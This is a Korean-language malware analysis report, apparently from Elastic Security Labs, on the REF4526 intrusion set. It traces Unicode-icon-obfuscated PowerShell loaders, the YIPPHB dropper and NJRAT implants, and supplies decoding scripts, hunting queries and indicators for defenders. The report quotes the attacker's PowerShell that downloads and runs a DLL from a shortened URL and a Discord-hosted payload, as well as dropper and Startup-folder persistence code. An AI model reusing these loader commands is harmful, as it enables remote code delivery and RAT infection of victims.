핵심 사항
- Elastic Security Labs는 유니코드 아이콘으로 Base64 인코딩된 문자열을 스레딩하는 유사한 TTP를 사용하여 YIPPHB 드롭퍼를 로드하는 12 활동 클러스터를 식별했습니다.
- YIPPHB는 정교하지는 않지만 효과적인 드롭퍼로, 최소 2022년 5월까지 RAT 임플란트를 전달하는 데 사용됩니다.
- 초기 액세스는 자동 분석을 지연시키기 위해 Powershell에 내장된 유니코드 아이콘을 사용하려고 시도합니다.
서문
원격 분석 데이터를 검토하는 동안 Elastic Security Labs는 Powershell 실행 중 비정상적인 인수를 확인했습니다. 자세히 살펴보니 Base64로 인코딩된 문자열 내에서 유니코드 아이콘을 사용하는 것이 확인되었습니다. 아이콘을 ASCII 문자로 대체하기 위해 대체 메커니즘이 사용되었습니다.
아이콘이 ASCII 문자로 대체된 후에는 Base64로 인코딩된 파일과 반전된 URL을 수집하는 반복적인 프로세스를 통해 드로퍼와 모든 기능을 갖춘 멀웨어 임플란트를 실행했습니다. 이 드롭퍼와 멀웨어 임플란트는 나중에 각각 YIPPHB와 NJRAT로 확인되었습니다.
이 연구는 다음 사항에 중점을 두었습니다:
- 로더 단계
- 드롭퍼 단계
- RAT 단계
- 활동 클러스터
- 네트워크 인프라
- 헌팅 쿼리
분석
이 침입 집합에 대한 분석에서는 PowerShell 명령의 자동화된 분석을 회피하기 위한 것으로 생각되는 난독화 방법을 설명하며, 이 방법은 초보적이고 규범적인 것으로 특징지었습니다.
로더 단계
Elastic의 원격 분석에서 Powershell 명령을 분석하는 동안, 우리는 Powershell 명령에 포함된 유니코드 아이콘을 관찰했습니다. 유니코드를 사용하여 Powershell 명령을 난독화하는 것은 저희가 관찰한 기술이 아닙니다.
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwATIK8ArwATIBMgrwATIBMgrwCvACcAOwBbAEIAeQB0AG⌚⌚⌚AWwBdAF0AIAAkAEQATABMACAAPQAgAFsAcwB5AHMAdABlAG0ALgBDAG8AbgB2AG⌚⌚⌚AcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQA⌚⌚⌚wB0AHIAaQBuAGcAKAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAG⌚⌚⌚AdAAuAFcAZQBiAEMAbABpAG⌚⌚⌚AbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQA⌚⌚⌚wB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AGkAbgB5AH⌚⌚⌚AcgBsAC4AYwBvAG0ALwAyAG⌚⌚⌚AcgBwAGgANgBjAHMAJwApACkAOwBbAHMAeQBzAHQAZQBtAC4AQQBwAHAARABvAG0AYQBpAG4AXQA6ADoAQwB1AHIAcgBlAG4AdABEAG8AbQBhAGkAbgAuAEwAbwBhAGQAKAAkAEQATABMACkALgBHAG⌚⌚⌚AdAB⌚⌚⌚AHkAcABlACgAJwBOAHcAZwBvAHgATQAuAEsA⌚⌚⌚ABKAGEATgBqACcAKQAuAEcAZQB0AE0AZQB0AGgAbwBkACgAJwBQAF⌚⌚⌚AbABHAEsAQQAnACkALgBJAG4AdgBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAdABbAF0AXQAgACgAJwB0AHgAdAAuADAAMAAwADgAdABjAG8AMAAxAC8AMQA3ADkAOAAxADIAOAAyADQAOQAzADgAMgA4ADgANAAzADAAMQAvADMAMgA1ADkANwAxADkAMgA0ADkAOQA2ADMANgA1ADYANQA5AC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwAQEMwGJwbMBicAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('-¯¯--¯--¯¯', '[redacted].vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
이 기법은 단순히 아이콘을 아스키 문자로 대체한다는 점에서 지나치게 복잡하지는 않지만 창의적입니다. 이 기술은 Powershell 명령이 완전히 실행되거나 분석 워크플로우를 활용하여 유니코드 및 대체 함수를 처리하지 않는 한 Base64 인코딩 문자열의 자동 분석이 지연될 수 있습니다.
Powershell 명령을 살펴보면 유니코드 시계 아이콘(⌚⌚⌚)을 U로 바꾸는 간단한 프로세스를 확인할 수 있었습니다. 무슨 일이 일어나고 있는지 설명하기 위해 GCHQ에서 만든 데이터 분석 도구를 사용할 수 있습니다: CyberChef.
"찾기/바꾸기", "Base64 디코딩" 및 "텍스트 디코딩(UTF-16LE)" 레시피를 로드하여 Powershell 문자열을 디코딩할 수 있습니다.
디코딩된 문자열 내에서 로더, 팔로우온 드로퍼 및 임플란트가 어떻게 설치되는지 확인할 수 있습니다.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
로더는 https://tinyurl[.]com/2erph6cs 에서 다운로드할 수 있습니다. TinyURL은 널리 사용되는 URL 단축 서비스로, 매우 합법적으로 사용되지만 정상적인 네트워크 트래픽에 섞여 악성 URL을 숨기는 데 악용될 수도 있습니다.
TinyURL을 펼치려면 Unshorten.me의 JSON API 엔드포인트를 사용할 수 있습니다:
$ curl https://unshorten.me/json/tinyurl[.]com/2erph6cs
{
"requested_url": "tinyurl[.]com/2erph6cs",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023798426636402818/dllsica.txt",
"usage_count": 3,
"remaining_calls": 8
}
Discord 콘텐츠 전송 네트워크에서 dllsica.txt를 다운로드하면 또 다른 Base64로 인코딩된 문자열이 제공됩니다. 이전 Powershell 문자열과 달리 dllsica.txt의 문자열은 치환 없이 쉽게 디코딩할 수 있습니다.
cat , base64 , xxd , head 명령줄 도구를 사용하면 파일 헤더에 16진수 값 4d5a와 MZ 매직넘버가 있음을 알 수 있습니다. 이렇게 하면 PE 파일을 분석 중임을 확인할 수 있습니다.
- cat - 파일 연결
- base64 -D - -D 스위치는 base64로 인코딩된 파일을 디코딩합니다.
- xxd - 입력의 16진수 덤프를 생성합니다.
- head - 파일의 첫 10 줄을 반환합니다.
$ cat dllsica.txt | base64 -D | xxd | head
00000000: 4d5a 9000 0300 0000 0400 0000 ffff 0000 MZ..............
00000010: b800 0000 0000 0000 4000 0000 0000 0000 ........@.......
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 8000 0000 ................
00000040: 0e1f ba0e 00b4 09cd 21b8 014c cd21 5468 ........!..L.!Th
00000050: 6973 2070 726f 6772 616d 2063 616e 6e6f is program canno
...truncated...
다음으로 바이너리의 난독화를 해제하고 디스크에 기록한 다음 SHA-256 해시를 생성했습니다.
- 파일 - 파일 유형 확인
- shasum -a 256 - -a 256 스위치는 256비트 해싱 알고리즘을 사용합니다.
$ cat dllsica.txt | base64 -D > dllsica.bin
$ file dllsica.bin
dllsica.bin: PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
$ shasum -a 256 dllsica.bin
49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2
이제 로더가 수집되었으므로 NwgoxM.KPJaN 클래스 내부에서 PUlGKA 메서드를 실행합니다. Base64로 디코딩된 원본 문자열에서
…truncated…
GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]]
...truncated…:
이 로더는 기본적으로 지원되는 VBscript로 사용자의 시작 폴더에 복사하여 액세스를 유지하는 이 로더에 대한 향후 연구를 발표할 수 있습니다.
FileSystem.FileCopy(RodaCopy, Environment.GetFolderPath(Environment.SpecialFolder.Startup) + "\\" + NameCopy + ".vbs");
드롭퍼 단계
위의 로더 실행 이미지에서 로더가 반전된 변수(text = bdw6ufv4/moc[.]lruynit//:sptth)를 사용하는 것을 볼 수 있습니다. 을 클릭해 TinyURL을 사용하여 추가 파일을 다운로드합니다. 명령줄 도구인 rev 를 사용하여 반전된 URL을 수정할 수 있습니다.
$ echo "bdw6ufv4/moc.lruynit//:sptth" | rev
https://tinyurl[.]com/4vfu6wd
Unshorten.me JSON API 엔드포인트를 사용하여 TinyURL을 펼쳐서 드롭퍼의 다운로드 위치를 식별할 수 있습니다.
$ curl https://unshorten.me/json/tinyurl[.]com/4vfu6wd
{
"requested_url": "tinyurl[.]com/4vfu6wd",
"success": true,
"resolved_url": "https://cdn.discordapp[.]com/attachments/1023796232872792096/1023796278213234758/pesica.txt",
"usage_count": 2,
"remaining_calls": 9
}
또 다른 인코딩된 파일은 Discord에서 다운로드됩니다: pesica.txt. 이 글을 쓰는 현재 VirusTotal에서는 이 파일이 전혀 탐지되지 않았다고 보고합니다.
dllsica.bin 의 단서를 통해 pesica.txt가 UTF-8 인코딩을 사용한다는 것을 알 수 있습니다. 파일을 추가로 분석하려면 ▒▒▒▒ 값을 A로 바꾸고 결과 문자열을 Base64로 디코딩해야 합니다.
…truncated…
string text = "bdw6ufv4/moc[.]lruynit//:sptth";
string text2 = new WebClient
{
Encoding = Encoding.UTF8
}.DownloadString(Strings.StrReverse(text));
text2 = Strings.StrReverse(text2);
text2 = text2.Replace("▒▒▒▒", "A");
string text3 = new WebClient().DownloadString(Strings.StrReverse(_5));
text3 = Strings.StrReverse(text3);
…truncated…
{
text4 + "\\InstallUtil.exe",
Convert.FromBase64String(text3)
});
…truncated…
사이버셰프로 이러한 기능을 수행하기 위해 레시피를 쌓을 수 있습니다.
pesica.txt 를 디코딩한 후에는 해시 bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf를 계산합니다. pesica.txt의 디코딩된 출력에는 YippHB 모듈 이름이 표시됩니다.
...truncated...
ToInt16
<Module>
YippHB
ResumeThread_API
...truncated...
이 모듈 이름은 YIPPHB의 드롭퍼 이름이 유래된 곳입니다. YIPPHB는 원래 보안 연구원 폴 멜슨이 발견했습니다. 폴은 지난 10월 오거스타 비사이드 보안 컨퍼런스( 2022 )에서 이 드롭퍼를 공개적으로 공개했습니다.
설치유틸.exe 명령줄 유틸리티를 사용하여 YIPPHB 드로퍼를 실행하여 RAT 단계를 시작합니다.
다음 단계를 RAT 단계라고 합니다. 이 단계에서 수집할 수 있었던 바이너리는 모두 RAT 임플란트(NJRAT, LIMERAT, ASYNCRAT)였지만, 이 인트루전 세트의 모듈식 특성 덕분에 어떤 임플란트 유형도 사용할 수 있었습니다.
RAT 단계
이제 YIPPHB 드롭퍼가 실행되었으므로 원본 유니코드 아이콘 스크립트의 두 번째 부분을 선택하여 RAT 임플란트를 설치합니다.
…truncated…
('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
RAT는 https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt 에서 검색되었으며, 이는 txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth에서 역방향으로 검색되었습니다.
10oct8000.txt 파일을 보면 반전된 Base64 인코딩 파일임을 알 수 있습니다.
=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…truncated…
이 파일을 수정하고 명령줄 도구인 rev 및 base64를 사용하여 Base64 디코딩한 다음 출력을 10oct8000.bin으로 저장할 수 있습니다.
$ cat 10oct8000.txt | rev | base64 -D > 10oct8000.bin
10oct8000.bin의 SHA256 해시는 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3입니다. 이 파일은 바이러스 토탈에서 LIMERAT 또는 NJRAT 멀웨어 제품군의 변종으로 보고됩니다(출처에 따라 다름).
로더 및 YIPPHB 드롭퍼와 마찬가지로 RAT의 몇 가지 기본 기능을 살펴볼 것이지만 완전히 뒤집지는 않을 것입니다. 이러한 기능을 연구하면서 이 샘플을 NJRAT 또는 LIMERAT(1, 2)와 연관 짓는이전 연구를 발견했습니다.
RAT는 명령 및 제어 서버에 다시 연결하여 실행 루틴을 시작합니다. 또한 별도의 스레드에서 키로거 루틴을 시작하여 가능한 한 많은 정보를 수집합니다.
명령 및 제어 서버에 연결할 때 RAT는 전역 변수로 나열된 구성 정보를 사용합니다. 피해자 이름 변수( TllBTiBDQVQ= )는 "NYAN CAT"으로 디코딩되는 Base64 인코딩 문자열입니다. 알려진 NJRAT 코드 베이스와의 코드 유사성을 바탕으로 이 C2 구성 정보는 이것이 NJRAT와 관련이 있다는 확신을 더합니다.
RAT가 명령을 수신 중인 명령 및 제어 서버에 연결되어 있는 경우 다음과 같은 추가 정보를 전송합니다:
- 피해자 이름 ( vn )
- 하드웨어 ID
- 사용자 이름
- OSFullName
- OS버전 서비스팩
- 프로그램 파일 폴더가 X86으로 끝나는지 여부
- 웹캠이 있는 경우
- 창 이름
- 레지스트리에 대한 권한 확인
C2 서버에 성공적으로 연결되면 운영자는 일련의 명령을 통해 임플란트와 상호 작용할 수 있습니다. 보안 연구원인 Hido Cohen과 CyberMasterV가 이러한 명령과 RAT의 전반적인 기능에 대한 자세한 설명을 여기와 여기에서제공합니다.
활동 클러스터
텔레메트리 데이터를 통해 추가 검색을 실행하여 여러 활동 클러스터를 식별할 수 있었습니다. 아래에 EQL 쿼리를 제공했습니다:
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
이 쿼리를 통해 유니코드 문자와 바꾸기 함수를 모두 사용하는 파워쉘 활동을 식별할 수 있었습니다.
이 결과를 보면 변수 이름과 유니코드 아이콘을 조합하여 활동을 클러스터링할 수 있었습니다. 이 초기 연구의 출처가 된 예제에서 하나의 클러스터는 변수 iUqm과 ⌚⌚⌚유니코드 아이콘이 됩니다.
| 클러스터 ID | 변수 | 유니코드 아이콘 + 숫자 | 유병률 백분율(반올림) |
|---|---|---|---|
| 1 | ngfYq | " (U+275E) | 1% |
| 2 | Codigo | ❤ (U+2764) | 1% |
| 3 | iUqm | ⌚ (U+231A) | 9% |
| 4 | iUqm | ⚔ (U+2694) | 6% |
| 5 | Codigo | ⁂ (U+2042) | 62% |
| 6 | iUqm | ✌ (U+270C) | 1% |
| 7 | Codigo | ⏏ (U+23CF) | 1% |
| 8 | Cg1O | ☈ (U+2608) | 5% |
| 9 | Codigo | ♔ (U+2654) | 10% |
| 10 | iUqm | ﭏ (U+FB4F) | 1% |
| 11 | Codigo | _*/}+/_= | 1% |
| 12 | iUqm | ☈ (U+2608) | 2% |
참고로 11 클러스터는 다른 클러스터와 동일한 기법을 모두 사용하지만 치환을 위해 유니코드 아이콘 대신 일련의 ASCII 문자( _*/}+/_= )를 사용했습니다. 침입은 동일한 방식으로 작동했으며 이 클러스터가 유니코드 아이콘을 사용하지 않은 이유는 명확하지 않습니다.
네트워크 데이터 수집 및 구문 분석
이 침입 세트의 분석을 확장하기 위해, process.command_line에서 로더와 드롭퍼로 인코딩된 URL을 추출하는 작업을 자동화하고자 했습니다. 필드와 RAT 임플란트에 사용되는 후속 C2.
로더 및 드로퍼
로더 및 드롭퍼 단계에서 언급했듯이 Base64로 인코딩된 문자열은 유니코드 아이콘을 대체하고 역변환 및 디코딩해야 합니다. 이 과정이 끝나면 첫 번째 URL은 바로 사용할 수 있지만 두 번째 URL은 다시 한 번 반전해야 합니다.
Powershell 명령 자체의 실행을 피하려면 텍스트 처리 도구 awk를 활용할 수 있습니다. 다음은 분석을 수행하는 방법에 대한 분석이며, 참조할 수 있도록 모든 내용이 포함된 셸 스크립트를 제공합니다.
시작하려면 명령줄에서 데이터에 액세스하여 데이터를 awk로 파이프할 수 있어야 합니다. 이를 위해 eql-query라는 도구 (그리고 lucene-query라는 또 다른 도구)를 게시했습니다.
eql-query 를 사용하여 지난 180일 동안의 결과를 검색하는 EQL 쿼리를 실행하여 process.command_line만 검색할 수 있습니다. 필드에 입력합니다. 명령줄에서 이 작업을 수행하면 데이터를 추가로 구문 분석하고 관심 있는 문자열을 추가로 추출할 수 있다는 장점이 있습니다.
eql-query --since 'now-180d/d' --size=1000 --compact --fields 'process.command_line' 'intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")'
그런 다음 jq '._source.process.command_line' -r | awk를 사용하여 원시 문자열을 awk에 전달합니다.
이 작업을 반복적으로 수행하는 경우, eql 쿼리의 결과를 파일에 기록한 다음 원하는 방식으로 파이프라인을 구성할 때까지 로컬에서 결과를 작업하는 것이 가장 좋습니다.
다음 단계는 해당 기능을 직접 수행할 수 있도록 Powershell replace 명령에 사용된 문자열을 캡처하는 것입니다. awk를 사용하여 이를 수행하는 가장 좋은 방법은 정규식으로 캡처하는 것입니다.
이것은 대체할 첫 번째 및 두 번째 인수와 일치합니다. 첫 번째 인수는 유니코드이며 어색한 패턴으로 친숙하지 않을 수 있으므로 먼저 이 인수를 벗어나야 합니다. 교체가 완료되면 "깨끗한" 코드, 찾을 문자열 및 교체 텍스트를 인쇄합니다.
function escape_string( str ) {
gsub(/[\\.^$(){}\[\]|*+?]/, "\\\\&", str)
return str
}
{
match($0, /replace\('\''(.*)'\'' *, *'\''(.*)'\''/, arr);
str=escape_string(arr[1]);
rep=arr[2];
print gensub(str, rep, "g")
}
마지막으로 다른 정규식을 사용하여 Base64 코드를 그래프로 추출하고 난독화된 Powershell 스크립트를 표시할 수 있습니다.
grep -oP ''\''\K[A-Za-z0-9+/]+={0,2}(?='\'';)'
이렇게 하면 위의 로더, 드롭퍼 및 RAT 단계에서 설명한 수동 변환 프로세스가 자동화됩니다.
$RodaCopy = '-¯¯--¯--¯¯';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl[.]com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.0008tco01/1798128249382884301/325971924996365659/stnemhcatta/moc[.]ppadrocsid.ndc//:sptth' , $RodaCopy , 'တیای' ))
이 텍스트의 URL을 구문 분석하면 두 번째 URL을 뒤집은 후 또 다른 간단한 어색한 일치를 찾아야 하지만 Powershell의 기본 인코딩은 UTF-16LE이고 어색한 인코딩은 UTF-8 또는 ASCII 인코딩만 지원합니다. iconv라는 도구로 필요한 변환을 수행할 수 있습니다.
echo "${line}" | base64 -d | iconv -f UTF-16 -t UTF-8 | awk '{ if ( match($0, /'\''([^'\'']+\/\/:s?ptth)'\''/, arr)) { n=split(arr[1],arr2,""); for(i=1;i<=n;i++){s=arr2[i] s}; print s}; if ( match($0, /'\''(https?:\/\/[^'\'']+)'\''/, arr)){ print arr[1] } }'
변환이 완료되면 나머지는 간단한 구문 분석만 하면 됩니다. 출력에는 url1 , url2 , 유니코드 문자열과 그 대체 문자열의 사본이 포함됩니다. URL은 각각 각 코드 샘플의 정방향 및 역방향 URL입니다.
| 유니코드 아이콘 | 교체 | url1 | url2 |
|---|---|---|---|
| ⌚⌚⌚ | U | https://tinyurl[.]com/2erph6cs | https://cdn.discordapp[.]com/...truncated.../10oct8000.txt |
| ⌚⌚⌚ | U | http://91.241.19[.]49/ARTS/dllf3txt | http://91.241.19[.]49/test/new/ZX1.txt |
| ⁂ | A | http://20.231.55[.]108/dll/06-07-2022.PDF | http://212.192.246[.]226/dsaffdffa.txt |
자세한 내용을 보거나 자신의 데이터에 적용해 보려면 이 모든 것을 결합하는 셸 스크립트를 참조하세요.
이제 로더와 드롭퍼의 URL 수집 및 파싱을 자동화했으므로 이제 RAT 인프라로 넘어갈 수 있습니다.
RAT
원래 파워쉘 스크립트에서 알 수 있듯이 RAT는 추가 네트워크 인프라를 사용한다는 것을 알고 있습니다. 이를 열거하려면 드롭퍼와 마찬가지로 RAT를 끌어내리고, 이전 단계에서 출력한 각 url1 및 url2에 대해 고유한 URL 집합을 가져와서 각 목록을 반복한 다음 curl을 사용하여 다운로드해야 합니다.
이 프로세스에는 공격자가 소유하거나 통제하는 인프라와 상호 작용해야 합니다. 적의 인프라와 상호 작용하려면 체계적인 준비가 필요한데, 모든 조직이 이를 수행할 준비가 되어 있는 것은 아닙니다. 법적 고려 사항, 방어 네트워크 이그레스 포인트, 샌드박스, 정보 획득/손실 전략 등에 대한 지식이 아직 없는 경우 다음 내용을 참고하시기 바랍니다.
로더는 다운로드한 파일을 디스크에 저장하지 않으며 파일 이름이 항상 존재하지 않으므로 샘플을 추적하기 위해 간단한 카운터를 사용하겠습니다. 이렇게 하면 다음과 같은 간단한 루프가 생성됩니다:
ctr=1
for line in $(cat ../url-1.txt); do
curl -v -A "${USER_AGENT}" -o "file-${ctr}" -L --connect-timeout 10 "${line}" 2>>"log-${ctr}.txt"
ctr=$((ctr + 1))
done
요청 및 응답 헤더를 캡처하려면 -v를, 리디렉션을 추적하려면 -L을, 인프라가 다운된 경우 프로세스 속도를 높이기 위해 --connect-timeout을 사용합니다. 마지막으로 컬 출력은 로그 파일에 저장하고 다운로드한 파일은 파일-X로 저장합니다(여기서 X는 카운터 값).
다운로드한 모든 RAT 파일은 Base64로 인코딩됩니다. 파일 명령을 사용하여 유효한 Base64 인코딩 파일을 식별할 수 있습니다. Base64로 인코딩된 파일은 "매우 긴 줄(길이)이 있는 ASCII 텍스트, 줄 종결자 없음"으로 식별되며 여기서 길이는 파일 크기입니다. 이 언어와 일치하는 파일의 경우, 파일을 디코딩하고 .dll로 저장합니다. 확장자입니다.
for entry in $(file file-?? | awk -F": " '$2 ~ /^ASCII text.*very long lines/ {print $1}'); do
rev <"${entry}" | base64 -d >"${entry}.dll"
done
이제 RAT 바이너리를 확보했으니 일반적인 정적 분석을 수행할 수 있습니다. VirusTotal 명령줄 도구가 있고 API 쿼리를 수행할 수 있는 경우, 알려진 파일을 검색하면 저장된 모든 dll 파일을 간단히 반복할 수 있습니다.
for entry in *.dll; do
hash=$(sha256sum "${entry}" | awk '{print $1}')
vt search "${hash}" >"${entry}.vt.yml"
done
출력을 살펴보면 바이트 수가 0인 yml 파일( vt 명령 출력)은 일치하는 항목이 없다는 것을 알 수 있습니다. 이러한 파일은 VirusTotal에서 알 수 없습니다. 이 출력에서 파일-30.dll , 파일-31.dll 및 파일-34.dll이 VirusTotal에 알려지지 않았음을 알 수 있습니다.
$ ls -s *.dll{,.vt.yml}
32 file-28.dll
32 file-28.dll.vt.yml
32 file-30.dll
0 file-30.dll.vt.yml
32 file-31.dll
0 file-31.dll.vt.yml
468 file-34.dll
0 file-34.dll.vt.yml
48 file-35.dll
40 file-35.dll.vt.yml
80 file-38.dll
36 file-38.dll.vt.yml
마지막으로 수행할 분석은 DLL에서 모든 도메인 이름을 덤프하는 것입니다. 많은 실행 파일 형식의 경우 문자열 명령으로 해당 정보를 제공할 수 있습니다. 안타깝게도 이러한 DLL은 대부분 .Net 어셈블리이므로 .Net 어셈블리에서 문자열을 추출하는 데는 strings 명령이 작동하지 않습니다. 이 예제에서와 같이 파일 명령을 사용하면 다시 식별할 수 있습니다:
$ file file-31.dll
file-31.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
.Net의 장점은 쉽게 분해할 수 있다는 점이며, Mono 프로젝트는 이를 위한 도구인 ikdasm을 제공합니다. 이렇게 하면 도메인 이름이나 HTTP URL에 대한 참조를 검색하는 마지막 루프가 완성됩니다.
for item in *.dll; do
ikdasm "${item}" | grep -E '(\.(org|com|net|ly))|((yl|ten|moc|gro)\.)|("http|ptth")';
Done
자세한 내용은 이 두 번째 분석 단계를 통합하는 이 셸 스크립트를 참조하세요.
다이아몬드 모델
Elastic Security utilizes the Diamond Model to describe high-level relationships between adversaries and victims of intrusions.
관찰된 적의 전술 및 기법
Elastic은 MITRE ATT&CK 프레임워크를 사용하여 지능형 지속적 위협이 기업 네트워크에 대해 사용하는 일반적인 전술, 기술 및 절차를 문서화합니다.
전술
전술은 기술 또는 하위 기술의 이유를 나타냅니다. 이는 적의 전술적 목표, 즉 행동을 수행하는 이유입니다.
기술/하위 기술
기술 및 하위 기술은 적군이 행동을 수행하여 전술적 목표를 달성하는 방법을 나타냅니다.
- 인프라 확보
- 스테이지 기능: 멀웨어 업로드
- 부팅 또는 로그온 자동 시작 실행: 레지스트리 실행 키/시작 폴더
- 명령 및 스크립팅 인터프리터: Visual Basic
- 명령 및 스크립팅 인터프리터: PowerShell
- 시스템 바이너리 프록시 실행: InstallUtil
- 난독화된 파일 또는 정보
탐지 로직
행동 규칙
- 서명된 바이너리 프록시를 통한 웹서비스 연결
- Suspicious PowerShell Execution
- 비정상적인 파일 확장자를 가진 프로세스 실행
- 시작 폴더에 스크립트 파일 작성
- Windows 스크립트를 통한 의심스러운 PowerShell 실행
- 서명되지 않은 바이너리를 통한 동적 DNS 공급자에 연결
헌팅 쿼리
Powershell에서 유니코드를 식별하는 것은 KQL 또는 EQL 쿼리를 사용하여 수행할 수 있습니다.
KQL과 EQL 모두에 대한 이벤트는 Elastic Defend 통합을 사용하는 Elastic 에이전트와 함께 제공됩니다.
KQL query
Kibana의 Discover 앱을 사용하여 아래 쿼리는 유니코드 문자열과 함께 Powershell을 사용하는 것을 식별합니다. 이를 통해 이 연구의 모든 이벤트를 식별했지만, REF4526 침입 세트에 포함되지 않은 다른 이벤트도 식별했습니다.
진행 및 선행 와일드카드( * )는 많은 수의 이벤트에 대해 검색 비용이 많이 들 수 있습니다.
process.pe.original_file_name : "PowerShell.EXE" and process.command_line : (*Unicode.GetString* and *replace*)
EQL 쿼리
Kibana의 보안 솔루션 타임라인 섹션에서 "상관관계" 탭을 사용하여 이 쿼리는 유니코드 문자열과 바꾸기 기능을 사용하는 Powershell의 사용을 식별합니다. 이를 통해 관찰된 모든 REF4526 이벤트를 식별했습니다.
intrusion_detection where (process.pe.original_file_name == "PowerShell.EXE" and process.command_line like "*Unicode.GetString*" and process.args like "*replace*")
참고 자료
위의 조사에서 참조한 내용은 다음과 같습니다:
- https://github.com/pmelson/bsidesaugusta_2022/blob/main/unk.yara
- https://malpedia.caad.fkie.fraunhofer.de/details/win.limerat
- https://malpedia.caad.fkie.fraunhofer.de/details/win.njrat
- https://neonprimetime.blogspot.com/2018/10/njrat-lime-ilspy-decompiled-code-from.html
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
- https://github.com/NYAN-x-CAT/njRAT-0.7d-Stub-CSharp/blob/master/njRAT%20C%23%20Stub/Program.cs
- https://hidocohen.medium.com/njrat-malware-analysis-198188d6339a
- https://cybergeeks.tech/just-another-analysis-of-the-njrat-malware-a-step-by-step-approach/
관찰 가능 항목
모든 관측값은 결합된 압축 파일 번들로 ECS 및 STIX 형식으로도 다운로드할 수 있습니다.
이 연구에서는 다음과 같은 관찰 가능성에 대해 논의했습니다.
| 관측 가능합니다. | 유형 | 참조 | Note |
|---|---|---|---|
| 49562fda46cfa05b2a6e2cb06a5d25711c9a435b578a7ec375f928aae9c08ff2 | SHA-256 | dllsica.bin | 초기 로더 |
| bba5f2b1c90cc8af0318502bdc8d128019faa94161b8c6ac4e424efe1165c2cf | SHA-256 | pesica.bin | YIPPHB 다운로더 |
| 1c1910375d48576ea39dbd70d6efd0dba29a0ddc9eb052cadd583071c9ca7ab3 | SHA-256 | 10oct8000 | NJRAT 임플란트 |
https://cdn.discordapp[.]com/attachments/956563699429179523/1034882839428218971/10oct8000.txt | URL. | 로더 단계 | NJRAT 다운로드 위치 |
https://tinyurl[.]com/2erph6cs | URL. | 로더 단계 | REF4526 로더 다운로드 위치 |
https://tinyurl[.]com/4vfu6wd | URL. | 드롭퍼 단계 | YIPPHB 다운로드 위치 |
| wins10ok.duckdns[.]org | 도메인 이름 | NJRAT C2 | NA |
